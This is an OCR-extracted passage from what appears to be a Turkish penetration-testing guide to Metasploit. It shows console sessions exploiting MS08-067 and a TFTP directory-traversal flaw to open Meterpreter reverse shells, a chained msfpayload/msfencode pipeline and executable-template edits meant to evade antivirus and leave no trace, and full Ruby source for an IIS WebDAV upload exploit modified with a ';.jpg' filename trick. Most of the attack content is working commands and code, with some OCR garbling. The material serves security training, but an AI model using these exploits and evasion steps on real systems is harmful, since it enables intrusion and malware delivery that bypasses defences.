PHP

"none" Encoder
Encoder

Encoder

Base64 Encoder

PPC LongXOR Encoder

PPC LongXOR Encoder
SPARC DWORD XOR Encoder
XOR Encoder

Alpha2 Alphanumeric

Alpha2 Alphanumeric

Avoild underscore/tolower
Avoid UTF8/tolower

Call+4 Dword XOR Encoder
CPUID-based Context Keyed
stat(2)-based Context Keyed
time(2)-based Context Keyed
Single-byte XOR Countdown
Variable-length Fnstenv/mov
Jump/Call XOR Additive
Non-Alpha Encoder

Non-Upper Encoder

Polymorphic XOR Additive

Single Static Bit
Alpha2 Alphanumeric Unicode

Alpha2 Alphanumeric Unicode
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msf exploit(ms08_067_netapi) > exploit -e x86/jmp_call_additive

[*] Started reverse handler on 172.16.100.1:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:Turkish

[*] Selected Target: Windows XP SP2 Turkish (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (752128 bytes) to 172.16.100.4

[*] Meterpreter session 21 opened (172.16.100.1:4444 -> 172.16.100.4:1075) at 2012-12-12
12:34:40 +0200

JMP_Call_Additive Kodlayicisi ile MS08-067 Exploit'i Kullanimi

Acigin kullanimi esnasinda dogrudan bellege yaziliyorsa veya Anti-Virus yazilimi
bellekte yapilan DLL Injection temelli kabuk caligtirmalara kargi da basarili sonuglar
uretiyorsa, kullanilabilecek olan kodlayici daha kararli ve Polimorfik olan Shikata Ga Nai
ile degistirilebilir. Ancak gunumuz Anti-Viris yazilimlarinin neredeyse tamami diske
yazilan verileri ve Polimorfik Uretilmis olsa bile kabuk kodlarini basarili bigcimde
saptayabilmektedir. Anti-Virls yazilimlarina yakalanmamak adina ve hedef sistemde
kanit birakmamak adina, diske yazmayi gerektiren exploitlerden blyuk o6lgide uzak
durulmaldir. Tabi ki sadece bellek iglemleriyle Anti-Virus yazilimlarini atlatmak mumkun
olmayacaktir, bu amagcla birkag adim daha atilmasi gereklidir.

Asagidaki ornekte ayni hedef sisteme, diske dosya yazilmasini gerektiren bir exploit ile
sizilmaya galismis ve kodlayici olarak Shikata Ga Nai secilmistir. Kullanilan exploit ile
TFTPWIN TFTP sunucusunda bulunan dizin disina ¢ikma acigi kullaniimis; ancak Avast
Anti-Virus yazilimi, yuUklenen bileseni karantinaya almis ve sizma iglemi
gerceklesmemistir.

msf exploit(distinct_tftp_traversal) > show options

Module options (exploit/windows/tftp/distinct_tftp_traversal):
Name Current Setting Required Description

DEPTH 10 no Levels to reach base directory
RHOST 172.16.100.4 yes The remote TFTP server address
RPORT 69 yes The remote TFTP server port

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 172.16.100.1 yes The 1listen address
LPORT 4446 yes The listen port
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Exploit target:
Id Name

0 Distinct TFTP 3.10 on Windows

msf exploit(distinct_tftp_traversal) > exploit -e x86/shikata_ga_nai
*] Started reverse handler on 172.16.100.1:4446
172.16.100.4:69 - Uploading executable (73802 bytes)
Started TFTP client listener on 0.0.0.0:56670
Listening for incoming ACKs

WRQ accepted, sending the file.

Source file: (Data), destination file:

]
]
]
]
]
]
oo .. /WINDOWS\system32\WdQOVs . exe
]
]
]
]
]

*

*

*
*

[
[
[
[*
[
[

*

Sending 73802 bytes (145 blocks)
Sent 512 bytes in block
Sent 512 bytes in block
Sent 512 bytes in block
Sent 512 bytes in block

.KISALTILDI...

Sent 512 bytes in block 141

Sent 512 bytes in block 142

Sent 512 bytes in block 143

Sent 512 bytes in block 144

Sent 74 bytes in block 145

Transferred 73802 bytes in 145 blocks, upload complete!

172.16.100.4:69 - Uploading .mof...

Started TFTP client listener on 0.0.0.0:21761

Listening for incoming ACKs

WRQ accepted, sending the file.

Source file: (Data), destination file:
e o ). /WINDOWS\system32\wbem\mof\UvpqYDsYeBQ.mof

Sending 2197 bytes (5 blocks)

Sent 512 bytes in block 1

Sent 512 bytes in block 2

Sent 512 bytes in block 3

Sent 512 bytes in block 4

Sent 149 bytes in block 5

Transferred 2197 bytes in 5 blocks, upload complete!

[

[*
[-k
[
[

*

A w N R

*

* X F X .

*

* X

*

L B e T s B e T e T s B s T e T e B s B e TR
* % * *

*

* X

*

*
|_1|_||_|u|_1|_||_|\|_1|_||_|u|_1|_||_|u|_1|_||_|

L B e T e B e T e B s B e Y
*

Shikata_Ga_Nai Kodlayicisi ile Distinct TFTP Dir Traversal Exploit'inin Basarisiz Kullanimi

Avast Anti-Virus, TFTP sunucusu Uzerinden c:\windows\system32\wdqovs.exe
adresine yuklenen Payload'u saptamis ve kotu niyetli yazilim olarak degerlendirerek
karantinaya almistir. Bu nedenle ilgili Payload calistirlamamis ve exploit islemi basarisiz
olmustur.
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System  Transmission Help

L o0 -

=% TETP Server TFTPDWIN [[=1c

IF Skatus Rate | File File size Progress %
o 172.16,100.1 Finished wdgovs, exe -- 7207 KB --
o 172.16,100.1 Fimished wpgydsyebd.mof -- 2. 15kEB --

£
{1} Server turned-on

Avast Anti-Virus Yazilimi ve Saptanan Payload'un Karantinaya Alinmasi

Starked at

oo:0Z:45
000245
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4.6.3 Giuvenlik Teknolojilerinin Atlatilmasi

Yukaridaki ilk 6rnekte gorulecegi uzere guncel Avast Anti-Virus yazilimi, Windows XP
SP2 yUkli bir sisteme ms08_067_netapi exploit'i kullanimini engelleyememistir. Ancak
bu durum bir bagka Anti-Virus'un de engelleyemeyecedi anlamina gelmemelidir.
Kullanilan o6rnek kodlayici olan “Jump/Call XOR Additive Feedback Encoder’
Payload'un saptanmasi i¢cin ek bir koruma saglayamamaktadir, bu noktada ayni
kodlayiciyl hata Ureten exploit ile kullanarak dogrulayabiliriz.

msf exploit(distinct_tftp_traversal) > exploit -e x86/jmp_call_additive

[*] Started reverse handler on 172.16.100.1:4446

[*] 172.16.100.4:69 - Uploading executable (73802 bytes)
[*] Started TFTP client listener on 0.0.0.0:53675

[*] Listening for incoming ACKs

[*] WRQ accepted, sending the file.

[*] Source file: (Data), destination file:

e ). . JWINDOWS\system32\UhgyKiF.exe
[*] Sending 73802 bytes (145 blocks)

[*] Sent 512 bytes in block 1

[*] Sent 512 bytes in block 2

.. .KISALTILDI....

Sent 512 bytes in block 142

Sent 512 bytes in block 143

Sent 512 bytes in block 144

Sent 74 bytes in block 145

Transferred 73802 bytes in 145 blocks, upload complete!
172.16.100.4:69 - Uploading .mof..

Started TFTP client listener on 0.0.0.0:35075
Listening for incoming ACKs

WRQ accepted, sending the file.

Source file: (Data), destination file:

eSS ] ] JWINDOWS\system32\wbem\mof\PyDJAG.mof
Sending 2195 bytes (5 blocks)

Sent 512 bytes in block 1

Sent 512 bytes in block 2

Sent 512 bytes in block 3

Sent 512 bytes in block 4

Sent 147 bytes in block 5

Transferred 2195 bytes in 5 blocks, upload complete!

*

* Xk

*

* Xk

*

L B e B e B e B e B e B e B e B e
*

* X

*

*

*

*
e e e e e e e S e e e e e e e e e

L B e W e B e B e B e B e |
*

*

msf exploit(distinct_tftp_traversal) >

JMP_Call_Additive Kodlayicisi ile Distinct TFTP Dir Traversal Exploit'inin Basarisiz Kullanimi
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=% TFTP Server TETPDWIN M(=13

Systemn  Transmission  Help
P Status Rate | File File size Progress % | Started at
W 172.16,100.1 Finished wdgows, exe -- 7207 KR - Om0z:4s
o 172.16,100.1 Finished v pydsyebg, mof -- 2 15kE -~ Om0z:4a
o 172.16,100.1 Finished uhigykif, exe -- 7207 KB - Olloizd
' 172.16.100.1 Finished prdjag. mof 214 KB 00:10:26
i hir tehlikeyi engelledi.
dedir.
COPragram FilesaTipohAyimibftpd exe
! like buluncu ve c olugturuiurken
() Server turned-on : .
- pozitif olarak raporla

Avast Anti-Virus'un JMP_Call_Additive ile Kodlanan Payload'u Saptamasi

Eger bir Anti-Virus yazihminin diske yazilacak Payload'larin saptayamamasi isteniyorsa
bircok yéntem birarada kullaniimaktadir. ilk yéntemlerden biri halen bazi Anti-Virus
yazilimlarina kargl ¢6zum Uretebilmektedir. Ardisik, ¢ok sayida ve birbirinden farkl
kodlayicilarin kullanimi sonucunda Payload'un farkhlastirilmasi ilk asamali korumadir.
Daha sonra anlatilacak olan yontemler uygulansa bile, kodlayici ile farklilastirma
Payload'un degistiriimesi adina énemli ve gerekli bir adimdir.

Msfpayload uygulamasi Metasploit Framework icinde yeralan Payload'larin tek bagina
olusturulmasi adina kullanigh bir aractir. Bir Payload'u istenen segenekler ile ham veya
calistinllabilir olarak hazirlamaktadir. Payload Uretimi asamasinda gorlilen generate
komutu gibi dosyayr harici olarak sunabilmektedir, ancak kodlama destegi
bulunmamaktadir. Bu amacgla msfencode kullanilabilir; Payload'un ham girdi olarak
sunulmasi, sonrasinda istenen kodlayicilarin, sablonlarin ve ¢ikti bigciminin segilmesi ile
calistinlabilir bir Payload Uretebilir. Msfencode ile ¢ok sayida kodlama kullanimi
Payload'un farklilastiriimasi adina 6nemlidir, ancak tek bagina yeterli olmayabilir.
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Asagidaki ornekte,komut satirindan msfpayload ile windows/meterpreter/reverse_tcp
Payload'unun 172.16.100.1 IP adresinin 4450 TCP portuna baglanacagi bir ham igerik
olusturulmasi istenmistir. Verilen R parametresi ham igerik icindir, eger kodlama iglemine
tabi tutulmayacaksa istenen c¢ikti calistirilabilir veya bir betik dilinde yorumlanacak
bicimde istenebilir. Msfencode ise kodlama islemi igin kullaniimistir; ilk kullanimda
Shikata Ga Nai kodlayicisinin 8 sefer kullanimi ile ¢iktinin ham olarak Uretilmesi, ikinci
kullanimda ise JMP Call Additive kodlayicisinin 8 sefer kullanimi ile /tmp/raw10.exe

adresine galigtirilabilir bir uygulama olusturmasi istenmisgtir.

$./msfpayload -h
Usage: ./msfpayload [<options>] <payload> [var=val]
<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[JI]s|e[X]e|[D]LL|[V]BA|[W]ar>

OPTIONS:
-h Help banner
-1 List available payloads

$ ./msfencode -h
Usage: ./msfencode <options>

OPTIONS:
-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: '\x00\xff'
-c <opt> The number of times to encode the data
-d <opt> Specify the directory in which to look for EXE templates
-e <opt> The encoder to use
-h Help banner
-1 <opt> Encode the contents of the supplied file path

-0 <opt> The output file

-p <opt> The platform to encode for

-s <opt> The maximum size of the encoded data
-t <opt> The output format:

bs,loop-vbs,asp,aspx,war,psh,psh-net
-v Increase verbosity
-x <opt> Specify an alternate executable template

/tmp/raw10.exe

[*] x86/shikata_ga_nal succeeded with size 317 (iteration=1)
[*] x86/shikata_ga_nal succeeded with size 344 (iteration=2)
[*] x86/shikata_ga_nail succeeded with size 371 (iteration=3)

-k Keep template working; run payload in new thread (use with -x)
-1 List available encoders

-m <opt> Specifies an additional module search path

-n Dump encoder information

raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,v

$ msfpayload windows/meterpreter/reverse_tcp LHOST=172.16.100.1 LPORT=4450 R | msfencode
-e x86/shikata_ga_nai -c 8 -t raw | msfencode -e x86/jmp_call_additive -c 8 -t exe -o
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[*] x86/shikata_ga_nal succeeded with size 398 (iteration=4)
[*] x86/shikata_ga_nal succeeded with size 425 (iteration=5)
[*] x86/shikata_ga_nal succeeded with size 452 (iteration=6)
[*] x86/shikata_ga_nal succeeded with size 479 (iteration=7)
[*] x86/shikata_ga_nal succeeded with size 506 (iteration=8)
[*] x86/jmp_call_additive succeeded with size 537 (iteration=1)
[*] x86/jmp_call_additive succeeded with size 569 (iteration=2)
[*] x86/jmp_call_additive succeeded with size 601 (iteration=3)
[*]
[*]
[*]
[*]
[*]

*
*

*

*] x86/jmp_call_additive succeeded with size 633 (iteration=4)
x86/jmp_call_additive succeeded with size 665 (iteration=5)
x86/jmp_call_additive succeeded with size 697 (iteration=6)
x86/jmp_call_additive succeeded with size 729 (iteration=7)
x86/jmp_call_additive succeeded with size 761 (iteration=8)

Shikata Ga Nai ve JMP_Call_Additive ile 8 Sefer Kodlanan Payload'un Olusturulmasi

*

*

*

*

Hazirlanan Payload'un bazi Anti-Virus yazihmlar tarafindan saptanamamasi
mumkuindir ancak birgok guncel yazilim tarafindan saptanacaktir. Glncel Avast
Anti-Virus vyazilimi igin sonu¢ asagida gorllecegi Uzere olumsuzdur, Payload
karantinaya alinmigtir.

MALWARE ENGELLENDI

i i1n|hutwtm} i engelledi.

ywozitif olarak raporla

Avast Anti-Virus'lin Farkli Kodlayicilar ile 8 Sefer Kodlanan Payload'u Saptamasi

Bu noktada kullanilabilecek ek bir yontem de sablon calistirilabilir dosyalarin yeniden
dizenlenmesidir. Bir sefer yapilacak bu tur bir diuzenleme ile Anti-Viris yazilimina
rastlanilabilecek gerekli durumlarda, duzenlenmig sablon calistirilabilir dosya
kullanilabilir. MetasploitDizini/data/templates/src adresinde kullaniimakta olan EXE,
DLL, ELF ve Mach-O ikilik dosyalarinin kaynak kodlari yer almaktadir. Kaynak kodlar
icine eklenecek rastgele birkag bilgi ve kodun derlenmesi ile sablon galistirilabilir dosya
olusturulabilir.
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Olusturulacak sablon dosyalarin kullanimi exploit islemi esnasinda set EXE::Template
dosyaadi.exe ve set EXE::Path /sablon/dosyaldizini biciminde tanimlanabilir, asagida
kullanilabilecek diger EXE:: parametreleri de yer almaktadir.

msf exploit(psexec) > set EXE::
set EXE::Custom set EXE::FallBack set EXE::Inject set EXE::0ldMethod
set EXE::Path set EXE::Template

Payload'un msfconsole icinden Uretimesinde veya msfencode ile kodlanmasi
asamasinda ise -x parametresi kullanilarak, 6zel hazirlanmis sablon galistirlabilir dosya
tanimlanabilir.

Asagida ornek olarak Metasploit Framework tarafindan kullanilan PE (Calistirilabilir
Windows Ikilik Dosyasi) calistirilabilir dosyasinin kaynak kodu yer almaktadir. Kodun
icine PAYLOAD degiskenini degistirmeden eklenecek bazi islevsiz 6zellikler veya
fonksiyon kullanimlari ile 6zel calistirilabilir sablon hazirlanabilir. Belirtilen kaynak kod
ilgili platform icin bir derleyici ile derlenirse g¢alistinlabilir 6zel bir sablon elde edilebilir ve
yukarida belirtildigi Gzere kullanilabilir.

$ cat METASPLOITDIZINI/data/templates/src/pe/exe/template.c
#include <stdio.h>

#define SCSIZE 4096
char payload[SCSIZE] = "PAYLOAD:";

char comment[512] = "";
int main(int argc, char **argv) {

(*(voild (*)()) payload)();
return(0);

Metasploit Framework PE Sablonunu Kaynak Kodu

Bir bagka kullanilabilecek yontem ise Metasm kullanimi ile olusturulan Payload'un
dissamble edilmesi, dizenlenmesi ve peencode edilerek kullanima hazirlanmasidir.
Asagida sunulan iki baglantida yukarida anlatilan her iki Payload duzenleme turu igin de
detayli bilgi bulunmaktadir. Ancak su unutulmamalidir; Payload denetmene 0zel
olmadikga Anti-Virus yazihimlari tarafindan saptanacaktir. Asagidaki baglantilarda
bahsedilen ydntemler, yukarida aciklanan sablon dizenlenmesi, Payload'un farkli
kodlayicilardan gecirilmesi veya bu kitaptaki tim yontemler Anti-Viris Ureticileri
tarafindan da kullanilmaktadir, bu nedenle artik gecgersizdir. Bununla beraber
Ozellestiriimis calistirilabilir dosya ve c¢oklu kodlama yakalanma riskini ciddi bi¢cimde
azaltacaktir.
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Calistirilabilir Dosya Sablonunun Diizenlenmesi igin Asagidaki Makaleler incelenebilir
Using a Custom Executable to Bypass Antivirus

http://dev.metasploit.com/redmine/projects/framework/wiki/Using_a_Custom_Exe
cutable_to_Bypass_AV

Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

http://www.pentestgeek.com/2012/01/25/using-metasm-to-avoid-antivirus-detectio
n-ghost-writing-asm/

The Odd Couple: Metasploit and Antivirus Solutions

https://community.rapid7.com/community/metasploit/blog/2012/12/14/the-odd-cou
ple-metasploit-and-antivirus-solutions
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5 Metasploit Modiulleri Gelistirme

5.1 Exploit Gelistirme

Exploit gelistirme sureci ¢ok cesitli ve degiskendir; bellek tagsmalari, aktarim bellegi
tasmalari, hesaplama hatalari, basitce dosya yuklenmesi ve calistiriimasi, uzak veya
yerel bir dosyanin yorumlayiciya isletiimesi en sik karsilasilan exploit turleridir. Ancak
ulasiimak istenen noktanin hedef sistemde komut c¢alistirmak oldugu unutulmamalidir.
Exploit gelistirmenin yontemleri, bellek tasmasi yontemleri, koruma yontemlerinin
aslimasi gibi konular oldukca karisiktir ve temel bilgi duzeyinden fazlasini gerektirir. Bu
nedenle belgenin bu boluminde sadece Metasploit Framework bilesenlerinin
kavranmasi, bir exploit'in bilesenlerinin neler oldugu ve basit bir exploitin nasil
yazilacagina odaklanilacaktir. Diger konular ise ileride yazilabilecek Exploit Gelistirme
Yoéntemleri veya Genel Exploitlerin Metasploit Framework'e Aktarilmasi baslikli
belgelerin konusu olabilecektir.

Metasploit Framework'in en onemli o6zelligi Exploit Geligtirme konusunda ornekler,
araclar, hazir kabuk kodlari ve kodlayicilar sunmasidir. Exploit Gelistirme 6rnegimizde;
hedefledigimiz sistemde 6zel bir sebepten dolayi ¢alismayan bir Metasploit Exploit'ini
degistirerek calisabilir hale getirecegiz. Bu esnada Exploit bilesenlerini ve igerigini de
aciklayacagiz.

Microsoft IIS web sunucusu WebDAV servisini sunabilmektedir, gegcmiste ¢okca guvenlik
acigr yayinlanan bu servise yonelik bircok exploit te hazirlanmigtir. Ancak guvenlik
guncellemeleri ile bu agiklar kapatiimig ve birgogu kullanilamaz hale gelmistir. Metasploit
Framework'lin igcermekte oldugu iis_webdav_upload_asp exploiti de bu nedenlerle
Microsoft 11IS'lerde ¢alismayacaktir.

Modulin yapmis oldugu sey ise WebDAV servisinin etkin olmasi ve yazilabilir bir dizin
bulunmasi durumunda, saptanan dizine c¢alistirlacak kodu ASP uygulamasi olarak
koymak ve HTTP protokolu ile gagirmaktir. Ancak bu agigin igleyebilmesi i¢in Microsoft
[IS'in ASP uzantili bir dosya yuklenmesine izin vermesi gerekmektedir. Kendisi ¢alisan
Payload'un Uretilmesi asamasinda belirtildigi Gzere bu engelin asilabilmesi igin bir bagka
guvenlik agigi kesfedilmistir. Bu guivenlik acgigi uzantinin ASP olarak degistiriimesi yerine
ASP;.jpg olarak degistirilmesidir, kullanilan ; igareti ile Microsoft IIS aldatilarak HTTP
istegini sonlandirmakta ve uzantinin ASP olarak algilanmasi saglanmaktadir.
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“5.4.1 Kendi Calisan Payload Hazirlanmasi” bolimuinde, agigin kullanimi igin Cadaver
uygulamasi ile Payload gonderilmig, sonra ismi degistiriimis ve HTTP Gzerinden
cagrilarak cahstinimistir. Bu boélimde ise ayni acgidi kullanan ve tek seferde butln
islemleri yapan bir Exploit hazirlayacagiz. Exploit'i yeni bastan yazmamizin su an igin
geregi bulunmuyor, varolan iis_webdav_upload_asp exploit'ini basitce degistirerek
calisir hale getirmek te bizim icin yeterlidir. Bu nedenle dnce Exploit'in nasil ¢alistigi ve
iceriginin nasil oldugu gorulmeli, yapilmasi gereken degisiklik belilenmeli ve
uygulanmalidir.

Exploit Kaynak Kodu ( iis_webdav_upload_asp )

##
# $Id: iis_webdav_upload_asp.rb 16012 2012-10-27 23:53:06Z rapid7 $
#i

##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.

#  http://metasploit.com/

##

require 'msf/core’

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize
super(
'Name' => 'Microsoft IIS WebDAV Write Access Code Execution',
'Description' => %qf{
This module can be used to execute a payload on IIS servers that
have world-writeable directories. The payload is uploaded as an ASP
script using a WebDAV PUT request.

s
'Author’ => 'hdm',
'Version' => 'SRevision: 16012 §',
'Platform' => 'win',
'References' =>
[
['osvDB', '397'],
['BID', '12141']
1,
'Targets' =>
[
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[ '"Automatic', { } 1,
1,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 01 1994'

)

register_options(
[
OptString.new('PATH', [ true, "The path to attempt to
upload"”, '/metasploit%RAND%.asp'])
1, self.class)
end

Microsoft 1IS Webdav Write Access Code Execution Modiili Kaynak Kodu

Yukarida Exploit'in birinci bolumu goériunmektedir; icerilecek Metasploit kutuphaneleri,
calismasi icin gerekli olacak tanimlamalar ve Exploitiin referanslari yer almaktadir.
Name, Description, Author, Version ve References bilgilendirme igcin hazirlanmis
basliklardir. Exploit ismi, agiklamasi, gelistiricileri, sGrimU ve hangi agigina referans
verildigi bu basliklarda belirlenir. Platform bashdi Exploitin hangi igletim sistemi
ortaminda c¢aligabilecegini, Targets basligi Exploit'in c¢alisabilecegi hedefleri ve
register_options ise ¢alisma parametrelerini tanimlamak igin kullanilir. Exploit'in birden
fazla hedefte galismasi sdzkonusu ise Targets basliginda hedef segimi ve degisimi
yaratacak etiketler kullaniimaldir.

Varolan Exploit'imizde bizi ilgilendiren ve degismesi gereken ilk bolum register_options
basligindaki PATH secenegidir. Eger hedef sisteme gonderecegimiz Exploit'in dizin yolu
Imetasploit%RAND%.asp olursa, ASP uzantisindan dolay! yukleme basarisiz olacaktir.
Ancak /metasploit%RAND%.asp;.jpg olarak dedistiriimesinin de bir baska sakincasi
vardir, ;.jpg uzantisini unutan bir denetmen /metasploit123.asp olarak degiskeni
tanimlarsa Exploit calismayacaktir. En dogru tanimlama ise baglik bolumunt bu haliyle
birakmak, Exploit blimunde dizin yolunun sonuna ;.jpg eklemektir.

def exploit

# Generate the ASP containing the EXE containing the payload
exe = generate_payload_exe

asp = Msf::Util::EXE.to_exe_asp(exe)

path = datastore['PATH'].gsub('%RAND%', rand(0x10000000).to_s)
path_tmp = path.gsub(/\....$/, ".txt")
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Exploitin ¢aligmasi igin ihtiyag duydugu parametreler ve register_options ile
tanimlanan segenekler, yukaridaki satirlardaki gibi kullaniimak igin degiskenlere atanir.
Atama esnasinda exe degiskenine Metasploit Framework tarafindan Uretilecek olan
Payload, asp degiskenine duretilen Payload'un ASP olarak kodlanmis hali, path
degiskenine hedef sistemdeki yerlesilecek dizinin rastgele karakterler ile olusturulmasi
ve path_tmp ile gegici yukleme esnasinda kullanilacak dizin yolunun tanimlanmasi
saglanmistir.

Bu noktada eklememiz gereken satir ise asagida gorulmektedir; path degiskenine
ekleme yapilarak, nihai dizin yolunun ;.jpg olarak sonlanmasi saglanmistir.

| path = "#{path};.ipg" |

Exploitin sonrasinda ise degisiklik yapilmasina gerek yoktur, ¢unkd yukleme ve
calistirma igslemi varolan bigcimde yapilabilmektedir.

#

# UPLOAD

#

print_status("Uploading #{asp.length} bytes to #{path_tmp}...")

res = send_request_cgi({

‘uri' => path_tmp,
'method' => 'PUT',
'ctype’ => 'application/octet-stream',
'data’ => asp,
}, 20)
if (! res)
print_error("Upload failed on #{path_tmp} [No Response]")
return
end

Yukaridaki bolimde gorulecegi Uzere send_request_cgi ile web sunucusuna HTTP
PUT istegi gonderilmekte; dizin yolu olarak tanimlanmis olan path_tmp ve Payload
olarak tanimlanmis olan asp verileri parametre olarak sunulmaktadir. Sonrasindaki if
sorgusu, web sunucusunun cevap vermemesi durumunda hata Uretmek igin
koyulmustur.

if (res.code < 200 or res.code >= 300)
print_error("Upload failed on #{path_tmp} [#{res.code}

#{res.message}]")
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case res.code

when 401
print_warning("Warning: The web site asked for
authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
end
return

end

Yukarida gorilen, Exploit'in devaminda kullanilan if déngusu ise ylukleme dncesinde bir
hata olusmadiysa calismakta; istegin 200 (2XX) koduyla donmesi durumunda basarih
degerlendirmesi yapmakta ve asagidaki adimlara ge¢mekte, diger kodlarda ise yetKki
hatasi Uretilmesini saglamaktadir.

#

# MOVE

#

print_status("Moving #{path_tmp} to #{path}...")

res = send_request_cgi({

"uri’ => path_tmp,
'method’ => "MOVE',
'headers' => {'Destination' => path}
1, 20)
if (! res)
print_error("Move failed on #{path_tmp} [No Response]")
return
end

Eger bir 6nceki noktada 200 onay kodu gelirse, web sunucusuna path_tmp dizin yoluna
istenen Payload aktariimistir. Sirada aktarilan path_tmp dizin yolunun path olarak
degistiriimesi vardir. Bu amacgla send_request_cgi tekrar cagrilir; ancak bu sefer MOVE
komutu ile dizin yolu degisimi talep edilir ve path_tmp'in path olarak degisimi istenir.
Sonrasindaki if sorgusu ise erismin zaman asimina dismesi gibi hatalari yakalamak
igindir.

if (res.code < 200 or res.code >= 300)
print_error("Move failed on #{path_tmp} [#{res.code}
#{res.message}]")
case res.code
when 401
print_warning("Warning: The web site asked for
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authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
when 403
print_warning("Warning: The web site may not allow 'Script
Source Access', which is required to upload executable content.")
end
return
end

isim degisikligi sonrasinda kullanilan if dongiisi ise degisim ©ncesinde bir hata
olusmadiysa calismakta; istegin 200 (2XX) koduyla dénmesi durumunda basarili
degerlendirmesi yapmakta ve asagidaki adimlara ge¢mekte, diger kodlarda ise yetKki
hatasi Uretilmesini saglamaktadir.

#

# EXECUTE

#

print_status("Executing #{path}...")

res = send_request_cgi({

"uri’ => path,
'method’ => 'GET'
}, 20)
if (! res)
print_error("Execution failed on #{path} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_error("Execution failed on #{path} [#{res.code}
#{res.message}]")
return
end

Eger bir dnceki noktada 200 onay kodu gelirse, web sunucusuna path dizin yolunda
istenen Payload'un basariyla aktarildigi dogrulanmistir. Yapilmasi gereken tek adim ilgili
Paylaod'un calismak Uzere cagiriimasidir. Bu amacgla send_request_cgi son kez
cagrilir ve Payload'un yerlesmis oldugu dizin yolunu (/metasploit’%eRAND%.asp;.jpg)
belirten path parametresi igin GET talebinde bulunulur. Bu istekteki ; isareti satir sonu
olarak yorumlanacak ve Microsoft IIS metasploit’%eRAND%.asp;.jpg dosyasini bir ASP
uygulamasi gibi ¢alistiracaktir.
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#

# DELETE

#

print_status("Deleting #{path}, this doesn't always work...")

res = send_request_cgi({

"uri' => path,
'method’ => 'DELETE'
}, 20)
if (! res)
print_error("Deletion failed on #{path} [No Response]")
return
end

if (res.code < 200 or res.code >= 300)
print_error("Deletion failed on #{path} [#{res.code}
#{res.message}]")
return

end

Aktarilan Payload'un silinmesi ve iz birakilmamasi igin send_request_cgi fonksiyonu
Payload'un silinmesi icin DELETE talebi yapilir. Cogu zaman dizine yazma degil ekleme
hakki ile WebDAV servisi ¢aligtinildigi i¢in bu silme islemi basaril bicimde galismayabilir,
ancak her zaman denenmesinde fayda vardir. ClUnkl hedefte kalici bir arka kapi
olusmasi riski sdzkonusudur ve hedef sistem yoOneticisi ile irtibata gecilmesine fayda
olacaktir.

handler
end

end

Calhigtirilan Payload'un denetmen sistemi ile baglanti kurabilmesinin en temel yolu bir
Handler calistirimasidir. Eger Exploit'te goruldugu gibi handler komutu ile ¢agr
yapilirsa; Handler ¢alismak igin ¢alistirma parametrelerine bakacak, uygun Payload igin
uygun baglanti se¢eneklerini kullanarak Payload ile iletigsim kuracaktir.
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Asagida eski durumdaki Exploit'in galismasi durumunda hedef sistemden aldi§i tepki ve
basarili calisamasi net bigimde gorulmektedir.

msf > use exploit/windows/iis/iis_webdav_upload_asp
msf exploit(iis_webdav_upload_asp) > info

Name: Microsoft IIS WebDAV Write Access Code Execution
Module: exploit/windows/iis/iis_webdav_upload_asp
Version: 16012
Platform: Windows
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent

Provided by:
hdm <hdm@metasploit.com>

Available targets:
Id Name

0 Automatic

Basic options:

Name Current Setting Required Description

PATH /metasploit%RAND%.asp yes The path to attempt to upload
Proxies no Use a proxy chain

RHOST 172.16.100.2 yes The target address

RPORT 80 yes The target port

VHOST no HTTP server virtual host

Payload information:

Description:
This module can be used to execute a payload on IIS servers that
have world-writeable directories. The payload is uploaded as an ASP
script using a WebDAV PUT request.

References:
http://www.osvdb.org/397
http://www.securityfocus.com/bid/12141

msf exploit(iis_webdav_upload_asp) > set RHOST 172.16.100.2

RHOST => 172.16.100.2

msf exploit(iis_webdav_upload_asp) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp

msf exploit(iis_webdav_upload_asp) > set LPORT 5554

LPORT => 5554
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msf exploit(iis_webdav_upload_asp) > show options

Module options (exploit/windows/iis/i1ls_webdav_upload_asp):

Name Current Setting Required Description

PATH /metasploit%RAND%.asp yes The path to attempt to upload
Proxies no Use a proxy chain

RHOST 172.16.100.2 yes The target address

RPORT 80 yes The target port

VHOST no HTTP server virtual host

Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description

EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 5554 yes The listen port

RHOST 172.16.100.2 no The target address

Exploit target:

Id Name

0 Automatic
msf exploit(iis_webdav_upload_asp) > exploit

[*] Started bind handler

[*] Uploading 610922 bytes to /metasploit64706470.txt...

[*] Moving /metasploit64706470.txt to /metasploit64706470.asp...
[*] Executing /metasploit64706470.asp...

[-] Execution failed on /metasploit64706470.asp [404 Not Found]

Microsoft IIS Webdav Write Access Code Execution Moduili Kullanimi

Exploit'te yukarida agiklamis oldugumuz “path = "#{path};.jpg" satirinin eklenmesi
sonrasinda ise Exploit basarili bicimde c¢alisacaktir ve hedef sisteme erigim
saglanacaktir. Bir editor ile modules/exploits/windowsliis/iis_webdav_upload_asp.rb
dosyasi duzenleme amacgl olarak agilmali, belirtmis oldugumuz satir 57. satira
yerlestiriimeli ve kaydedilmelidir. Sonrasinda reload ile Explot yeniden yuklenir ve tekrar
calistirilabilir.
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msf exploit(iis_webdav_upload_asp) > reload
[*] Reloading module...
msf exploit(iis_webdav_upload_asp) > exploit

Started bind handler

Uploading 613709 bytes to /metasploit125617790.txt...

Moving /metasploit125617790.txt to /metasploit125617790.asp;.]jpg...

Executing /metasploit125617790.asp;.]jpg...

